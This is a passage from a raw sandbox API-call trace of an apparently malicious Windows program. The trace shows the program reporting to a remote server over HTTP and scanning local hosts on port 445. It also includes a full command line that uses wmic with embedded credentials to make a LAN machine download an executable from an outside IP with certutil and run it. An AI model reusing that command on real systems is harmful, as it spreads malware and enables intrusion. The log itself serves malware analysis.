lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0113.858] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x7e) returned 0x299cf0 [0113.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4bad40, cbMultiByte=-1, lpWideCharStr=0x299d10, cchWideChar=45 | out: lpWideCharStr="C:\\Program Files\\Common Files\\System\\Scanlog") returned 45 [0113.858] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Scanlog" (normalized: "c:\\program files\\common files\\system\\scanlog"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x1d15f6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18d0 [0113.858] GetFileType (hFile=0x18d0) returned 0x1 [0113.859] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x299cf0) returned 1 [0113.859] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x299cf0 | out: hHeap=0x230000) returned 1 [0113.859] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x1024) returned 0x214e0048 [0113.859] SetFilePointerEx (in: hFile=0x18d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1d15f6f8 | out: lpNewFilePointer=0x0) returned 1 [0113.859] GetLastError () returned 0xb7 [0113.859] SetLastError (dwErrCode=0xb7) [0113.859] GetLastError () returned 0xb7 [0113.859] SetLastError (dwErrCode=0xb7) [0113.859] SetFilePointerEx (in: hFile=0x18d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1d15f7b0 | out: lpNewFilePointer=0x0) returned 1 [0113.859] WriteFile (in: hFile=0x18d0, lpBuffer=0x1d15e3f0*, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0x1d15e3d4, lpOverlapped=0x0 | out: lpBuffer=0x1d15e3f0*, lpNumberOfBytesWritten=0x1d15e3d4*=0x38, lpOverlapped=0x0) returned 1 [0113.860] GetLastError () returned 0xb7 [0113.860] SetLastError (dwErrCode=0xb7) [0113.860] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x214e0048) returned 1 [0113.860] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x214e0048 | out: hHeap=0x230000) returned 1 [0113.860] CloseHandle (hObject=0x18d0) returned 1 [0113.862] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x269020 [0113.862] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x64) returned 0x32bb08 [0113.862] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x269058 [0113.862] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x44) returned 0x312de0 [0113.862] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x54) returned 0x302538 [0113.862] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x312de0) returned 1 [0113.862] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x312de0 | out: hHeap=0x230000) returned 1 [0113.862] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x6b) returned 0x2f0c38 [0113.862] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x302538) returned 1 [0113.862] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x302538 | out: hHeap=0x230000) returned 1 [0113.862] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x8e) returned 0x214e20a0 [0113.862] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2f0c38) returned 1 [0113.862] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2f0c38 | out: hHeap=0x230000) returned 1 [0113.863] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x268fb0 [0113.863] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0xc4) returned 0x2a5528 [0113.863] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x214e20a0) returned 1 [0113.863] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x214e20a0 | out: hHeap=0x230000) returned 1 [0113.863] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x269058) returned 1 [0113.863] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x269058 | out: hHeap=0x230000) returned 1 [0113.863] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x269058 [0113.863] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x54) returned 0x302538 [0113.863] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x268ae0 [0113.863] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x268ae0) returned 1 [0113.863] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x268ae0 | out: hHeap=0x230000) returned 1 [0113.863] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x268ae0 [0113.863] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x268b88 [0113.864] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0xe4) returned 0x214efee8 [0113.864] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x143) returned 0x329848 [0113.864] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x214efee8) returned 1 [0113.864] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x214efee8 | out: hHeap=0x230000) returned 1 [0113.864] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x268bc0 [0113.864] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x268ae0) returned 1 [0113.864] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x268ae0 | out: hHeap=0x230000) returned 1 [0113.864] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x268bc0) returned 1 [0113.864] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x268bc0 | out: hHeap=0x230000) returned 1 [0113.864] WinHttpOpen (pszAgentW="Winnet Client", dwAccessType=0x0, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x301d30 [0113.865] WinHttpConnect (hSession=0x301d30, pswzServerName="61.186.243.2", nServerPort=0x1f92, dwReserved=0x0) returned 0x272f00 [0113.865] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x268bc0 [0113.865] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0xf4) returned 0x2e6280 [0113.865] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x1c0) returned 0x272718 [0113.865] GetLastError () returned 0x0 [0113.865] SetLastError (dwErrCode=0x0) [0113.865] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2e6280) returned 1 [0113.865] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2e6280 | out: hHeap=0x230000) returned 1 [0113.865] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x268bc0) returned 1 [0113.865] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x268bc0 | out: hHeap=0x230000) returned 1 [0113.865] WinHttpOpenRequest (hConnect=0x272f00, pwszVerb="GET", pwszObjectName="/api/data.php?code=EI5HT07HHN3BJJTA&url=4D546B794C6A45324F4334774C6A45334D587838664456774E553579523070754D477054494568425446427459336836664878384E6D3175534464445A45744C6648783853564244&from=WinPC&kind=report", pwszVersion="HTTP/1.1", pwszReferrer=0x0, ppwszAcceptTypes=0x0, dwFlags=0x0) returned 0x319db8 [0113.865] WinHttpSendRequest (hRequest=0x319db8, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0, dwTotalLength=0x0, dwContext=0x0) returned 1 [0114.431] WinHttpCloseHandle (hInternet=0x319db8) returned 1 [0114.431] WinHttpCloseHandle (hInternet=0x272f00) returned 1 [0114.431] WinHttpCloseHandle (hInternet=0x301d30) returned 1 [0114.431] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x329848) returned 1 [0114.431] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x329848 | out: hHeap=0x230000) returned 1 [0114.432] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x268b88) returned 1 [0114.432] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x268b88 | out: hHeap=0x230000) returned 1 [0114.432] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x302538) returned 1 [0114.432] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x302538 | out: hHeap=0x230000) returned 1 [0114.432] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x269058) returned 1 [0114.432] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x269058 | out: hHeap=0x230000) returned 1 [0114.432] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2a5528) returned 1 [0114.432] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2a5528 | out: hHeap=0x230000) returned 1 [0114.432] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x268fb0) returned 1 [0114.432] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x268fb0 | out: hHeap=0x230000) returned 1 [0114.432] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x32bb08) returned 1 [0114.432] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x32bb08 | out: hHeap=0x230000) returned 1 [0114.432] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x269020) returned 1 [0114.432] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x269020 | out: hHeap=0x230000) returned 1 [0114.432] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x269138) returned 1 [0114.432] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x269138 | out: hHeap=0x230000) returned 1 [0114.432] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x269100) returned 1 [0114.432] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x269100 | out: hHeap=0x230000) returned 1 [0114.433] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x29e9e8) returned 1 [0114.433] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x29e9e8 | out: hHeap=0x230000) returned 1 [0114.433] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x269790) returned 1 [0114.433] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x269790 | out: hHeap=0x230000) returned 1 [0114.433] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2690c8) returned 1 [0114.433] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2690c8 | out: hHeap=0x230000) returned 1 [0114.433] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x269170) returned 1 [0114.433] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x269170 | out: hHeap=0x230000) returned 1 [0114.433] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x269e58) returned 1 [0114.433] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x269e58 | out: hHeap=0x230000) returned 1 [0114.433] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2696b0) returned 1 [0114.433] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2696b0 | out: hHeap=0x230000) returned 1 [0114.433] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x2696b0 [0114.433] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x44) returned 0x312de0 [0114.434] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x54) returned 0x302538 [0114.434] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x312de0) returned 1 [0114.434] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x312de0 | out: hHeap=0x230000) returned 1 [0114.434] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x269e58 [0114.434] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x6b) returned 0x29e9e8 [0114.434] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x302538) returned 1 [0114.434] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x302538 | out: hHeap=0x230000) returned 1 [0114.434] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x269170 [0114.434] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x2690c8 [0114.434] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x8e) returned 0x214e20a0 [0114.434] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x29e9e8) returned 1 [0114.434] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x29e9e8 | out: hHeap=0x230000) returned 1 [0114.434] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x269790 [0114.434] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0xc2) returned 0x2a5528 [0114.435] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x214e20a0) returned 1 [0114.435] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x214e20a0 | out: hHeap=0x230000) returned 1 [0114.435] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x269100 [0114.435] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x110) returned 0x272f00 [0114.435] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2a5528) returned 1 [0114.435] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2a5528 | out: hHeap=0x230000) returned 1 [0114.435] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x269138 [0114.435] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x269020 [0114.435] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x269020) returned 1 [0114.435] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x269020 | out: hHeap=0x230000) returned 1 [0114.435] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x269138) returned 1 [0114.435] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x269138 | out: hHeap=0x230000) returned 1 [0114.435] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x269100) returned 1 [0114.435] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x269100 | out: hHeap=0x230000) returned 1 [0114.436] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x269790) returned 1 [0114.436] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x269790 | out: hHeap=0x230000) returned 1 [0114.436] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2690c8) returned 1 [0114.436] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2690c8 | out: hHeap=0x230000) returned 1 [0114.436] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x269170) returned 1 [0114.436] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x269170 | out: hHeap=0x230000) returned 1 [0114.436] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x269e58) returned 1 [0114.436] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x269e58 | out: hHeap=0x230000) returned 1 [0114.436] ShellExecuteA (hwnd=0x0, lpOperation=0x0, lpFile="cmd.exe", lpParameters="/c wmic /node:192.168.0.171 /user:5p5NrGJn0jS HALPmcxz /password:6mnH7CdKK process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"", lpDirectory=0x0, nShowCmd=0) returned 0x2a [0114.534] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x272f00) returned 1 [0114.534] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x272f00 | out: hHeap=0x230000) returned 1 [0114.534] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2696b0) returned 1 [0114.534] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2696b0 | out: hHeap=0x230000) returned 1 [0114.534] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x272b10) returned 1 [0114.534] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x272b10 | out: hHeap=0x230000) returned 1 [0114.534] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x30ec80) returned 1 [0114.534] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x30ec80 | out: hHeap=0x230000) returned 1 [0114.534] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x3253b8) returned 1 [0114.534] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x3253b8 | out: hHeap=0x230000) returned 1 [0114.534] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x30ea50) returned 1 [0114.534] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x30ea50 | out: hHeap=0x230000) returned 1 [0114.535] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x26e5f0) returned 1 [0114.535] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x26e5f0 | out: hHeap=0x230000) returned 1 [0114.535] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2df5b8) returned 1 [0114.535] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2df5b8 | out: hHeap=0x230000) returned 1 [0114.535] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x26b808) returned 1 [0114.535] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x26b808 | out: hHeap=0x230000) returned 1 [0114.535] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2df580) returned 1 [0114.535] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2df580 | out: hHeap=0x230000) returned 1 [0114.535] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x26b7b8) returned 1 [0114.535] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x26b7b8 | out: hHeap=0x230000) returned 1 [0114.535] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2df548) returned 1 [0114.535] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2df548 | out: hHeap=0x230000) returned 1 [0114.535] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2df510) returned 1 [0114.535] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2df510 | out: hHeap=0x230000) returned 1 [0114.535] WSACleanup () returned 0 [0114.535] GetCurrentThreadId () returned 0xf0c [0114.535] GetCurrentThreadId () returned 0xf0c [0114.535] GetCurrentThreadId () returned 0xf0c [0114.536] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x271af0) returned 1 [0114.536] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x271af0 | out: hHeap=0x230000) returned 1 Thread: id = 367 os_tid = 0xf10 [0087.297] GetCurrentThreadId () returned 0xf10 [0087.297] GetCurrentThreadId () returned 0xf10 [0087.297] GetCurrentThreadId () returned 0xf10 [0087.297] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1d29fdf0 | out: lpWSAData=0x1d29fdf0) returned 0 [0087.297] socket (af=2, type=1, protocol=0) returned 0x1790 [0087.298] inet_addr (cp="192.168.0.164") returned 0xa400a8c0 [0087.298] htons (hostshort=0x1bd) returned 0xbd01 [0087.298] connect (s=0x1790, name=0x1d29fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.164"), namelen=16) returned -1 [0108.371] closesocket (s=0x1790) returned 0 [0108.372] WSACleanup () returned 0 [0108.372] GetCurrentThreadId () returned 0xf10 [0108.372] GetCurrentThreadId () returned 0xf10 [0108.372] GetCurrentThreadId () returned 0xf10 Thread: id = 368 os_tid = 0xf14 [0089.626] GetCurrentThreadId () returned 0xf14 [0089.626] GetCurrentThreadId () returned 0xf14 [0089.626] GetCurrentThreadId () returned 0xf14 [0089.626] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1d3dfdf0 | out: lpWSAData=0x1d3dfdf0) returned 0 [0089.626] socket (af=2, type=1, protocol=0) returned 0x182c [0089.627] inet_addr (cp="192.168.0.184") returned 0xb800a8c0 [0089.627] htons (hostshort=0x1bd) returned 0xbd01 [0089.627] connect (s=0x182c, name=0x1d3dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.184"), namelen=16) returned -1 [0110.672] closesocket (s=0x182c) returned 0 [0110.672] WSACleanup () returned 0 [0110.672] GetCurrentThreadId () returned 0xf14 [0110.672] GetCurrentThreadId () returned 0xf14 [0110.672] GetCurrentThreadId () returned 0xf14 Thread: id = 369 os_tid = 0xf18 [0089.726] GetCurrentThreadId () returned 0xf18 [0089.726] GetCurrentThreadId () returned 0xf18 [0089.726] GetCurrentThreadId () returned 0xf18 [0089.726] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1d51fdf0 | out: lpWSAData=0x1d51fdf0) returned 0 [0089.726] socket (af=2, type=1, protocol=0) returned 0x1960 [0089.726] inet_addr (cp="192.168.0.177") returned 0xb100a8c0 [0089.726] htons (hostshort=0x1bd) returned 0xbd01 [0089.726] connect (s=0x1960, name=0x1d51fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.177"), namelen=16) returned -1 [0110.786] closesocket (s=0x1960) returned 0 [0110.787] WSACleanup () returned 0 [0110.787] GetCurrentThreadId () returned 0xf18 [0110.787] GetCurrentThreadId () returned 0xf18 [0110.787] GetCurrentThreadId () returned 0xf18 Thread: id = 370 os_tid = 0xf1c [0089.704] GetCurrentThreadId () returned 0xf1c [0089.704] GetCurrentThreadId () returned 0xf1c [0089.704] GetCurrentThreadId () returned 0xf1c [0089.704] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1d65fdf0 | out: lpWSAData=0x1d65fdf0) returned 0 [0089.704] socket (af=2, type=1, protocol=0) returned 0x1840 [0089.705] inet_addr (cp="192.168.0.185") returned 0xb900a8c0 [0089.705] htons (hostshort=0x1bd) returned 0xbd01 [0089.705] connect (s=0x1840, name=0x1d65fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.185"), namelen=16) returned -1 [0110.765] closesocket (s=0x1840) returned 0 [0110.765] WSACleanup () returned 0 [0110.765] GetCurrentThreadId () returned 0xf1c [0110.765] GetCurrentThreadId () returned 0xf1c [0110.765] GetCurrentThreadId () returned 0xf1c Thread: id = 371 os_tid = 0xf20 [0089.706] GetCurrentThreadId () returned 0xf20 [0089.706] GetCurrentThreadId () returned 0xf20 [0089.706] GetCurrentThreadId () returned 0xf20 [0089.706] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1d79fdf0 | out: lpWSAData=0x1d79fdf0) returned 0 [0089.706] socket (af=2, type=1, protocol=0) returned 0x184c [0089.706] inet_addr (cp="192.168.0.177") returned 0xb100a8c0 [0089.706] htons (hostshort=0x1bd) returned 0xbd01 [0089.706] connect (s=0x184c, name=0x1d79fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.177"), namelen=16) returned -1 [0110.766] closesocket (s=0x184c) returned 0 [0110.766] WSACleanup () returned 0 [0110.766] GetCurrentThreadId () returned 0xf20 [0110.766] GetCurrentThreadId () returned 0xf20 [0110.766] GetCurrentThreadId () returned 0xf20 Thread: id = 372 os_tid = 0xf24 [0089.707] GetCurrentThreadId () returned 0xf24 [0089.707] GetCurrentThreadId () returned 0xf24 [0089.707] GetCurrentThreadId () returned 0xf24 [0089.707] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1d8dfdf0 | out: lpWSAData=0x1d8dfdf0) returned 0 [0089.707] socket (af=2, type=1, protocol=0) returned 0x1858 [0089.707] inet_addr (cp="192.168.0.185") returned 0xb900a8c0 [0089.707] htons (hostshort=0x1bd) returned 0xbd01 [0089.707] connect (s=0x1858, name=0x1d8dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.185"), namelen=16) returned -1 [0110.767] closesocket (s=0x1858) returned 0 [0110.767] WSACleanup () returned 0 [0110.767] GetCurrentThreadId () returned 0xf24 [0110.767] GetCurrentThreadId () returned 0xf24 [0110.767] GetCurrentThreadId () returned 0xf24 Thread: id = 373 os_tid = 0xf28 [0089.707] GetCurrentThreadId () returned 0xf28 [0089.708] GetCurrentThreadId () returned 0xf28 [0089.708] GetCurrentThreadId () returned 0xf28 [0089.708] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1da1fdf0 | out: lpWSAData=0x1da1fdf0) returned 0 [0089.708] socket (af=2, type=1, protocol=0) returned 0x1864 [0089.708] inet_addr (cp="192.168.0.177") returned 0xb100a8c0 [0089.708] htons (hostshort=0x1bd) returned 0xbd01 [0089.708] connect (s=0x1864, name=0x1da1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.177"), namelen=16) returned -1 [0110.767] closesocket (s=0x1864) returned 0 [0110.768] WSACleanup () returned 0 [0110.768] GetCurrentThreadId () returned 0xf28 [0110.768] GetCurrentThreadId () returned 0xf28 [0110.768] GetCurrentThreadId () returned 0xf28 Thread: id = 374 os_tid = 0xf2c [0089.708] GetCurrentThreadId () returned 0xf2c [0089.708] GetCurrentThreadId () returned 0xf2c [0089.708] GetCurrentThreadId () returned 0xf2c [0089.708] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1db5fdf0 | out: lpWSAData=0x1db5fdf0) returned 0 [0089.708] socket (af=2, type=1, protocol=0) returned 0x1870 [0089.710] inet_addr (cp="192.168.0.185") returned 0xb900a8c0 [0089.710] htons (hostshort=0x1bd) returned 0xbd01 [0089.710] connect (s=0x1870, name=0x1db5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.185"), namelen=16) returned -1 [0110.768] closesocket (s=0x1870) returned 0 [0110.768] WSACleanup () returned 0 [0110.768] GetCurrentThreadId () returned 0xf2c [0110.768] GetCurrentThreadId () returned 0xf2c [0110.769] GetCurrentThreadId () returned 0xf2c Thread: id = 375 os_tid = 0xf30 [0089.710] GetCurrentThreadId () returned 0xf30 [0089.710] GetCurrentThreadId () returned 0xf30 [0089.710] GetCurrentThreadId () returned 0xf30 [0089.710] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1dc9fdf0 | out: lpWSAData=0x1dc9fdf0) returned 0 [0089.710] socket (af=2, type=1, protocol=0) returned 0x187c [0089.710] inet_addr (cp="192.168.0.177") returned 0xb100a8c0 [0089.710] htons (hostshort=0x1bd) returned 0xbd01 [0089.710] connect (s=0x187c, name=0x1dc9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.177"), namelen=16) returned -1 [0110.769] closesocket (s=0x187c) returned 0 [0110.769] WSACleanup () returned 0 [0110.769] GetCurrentThreadId () returned 0xf30 [0110.769] GetCurrentThreadId () returned 0xf30 [0110.769] GetCurrentThreadId () returned 0xf30 Thread: id = 376 os_tid = 0xf34 [0089.711] GetCurrentThreadId () returned 0xf34 [0089.711] GetCurrentThreadId () returned 0xf34 [0089.711] GetCurrentThreadId () returned 0xf34 [0089.711] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1dddfdf0 | out: lpWSAData=0x1dddfdf0) returned 0 [0089.711] socket (af=2, type=1, protocol=0) returned 0x1888 [0089.711] inet_addr (cp="192.168.0.185") returned 0xb900a8c0 [0089.711] htons (hostshort=0x1bd) returned 0xbd01 [0089.711] connect (s=0x1888, name=0x1dddfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.185"), namelen=16) returned -1 [0110.770] closesocket (s=0x1888) returned 0 [0110.770] WSACleanup () returned 0 [0110.770] GetCurrentThreadId () returned 0xf34 [0110.770] GetCurrentThreadId () returned 0xf34 [0110.770] GetCurrentThreadId () returned 0xf34 Thread: id = 377 os_tid = 0xf38 [0089.711] GetCurrentThreadId () returned 0xf38 [0089.711] GetCurrentThreadId () returned 0xf38 [0089.711] GetCurrentThreadId () returned 0xf38 [0089.711] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1df1fdf0 | out: lpWSAData=0x1df1fdf0) returned 0 [0089.712] socket (af=2, type=1, protocol=0) returned 0x1894 [0089.712] inet_addr (cp="192.168.0.177") returned 0xb100a8c0 [0089.712] htons (hostshort=0x1bd) returned 0xbd01 [0089.712] connect (s=0x1894, name=0x1df1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.177"), namelen=16) returned -1 [0110.771] closesocket (s=0x1894) returned 0 [0110.771] WSACleanup () returned 0 [0110.771] GetCurrentThreadId () returned 0xf38 [0110.771] GetCurrentThreadId () returned 0xf38 [0110.771] GetCurrentThreadId () returned 0xf38 Thread: id = 378 os_tid = 0xf3c [0089.712] GetCurrentThreadId () returned 0xf3c [0089.712] GetCurrentThreadId () returned 0xf3c [0089.712] GetCurrentThreadId () returned 0xf3c [0089.712] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1e05fdf0 | 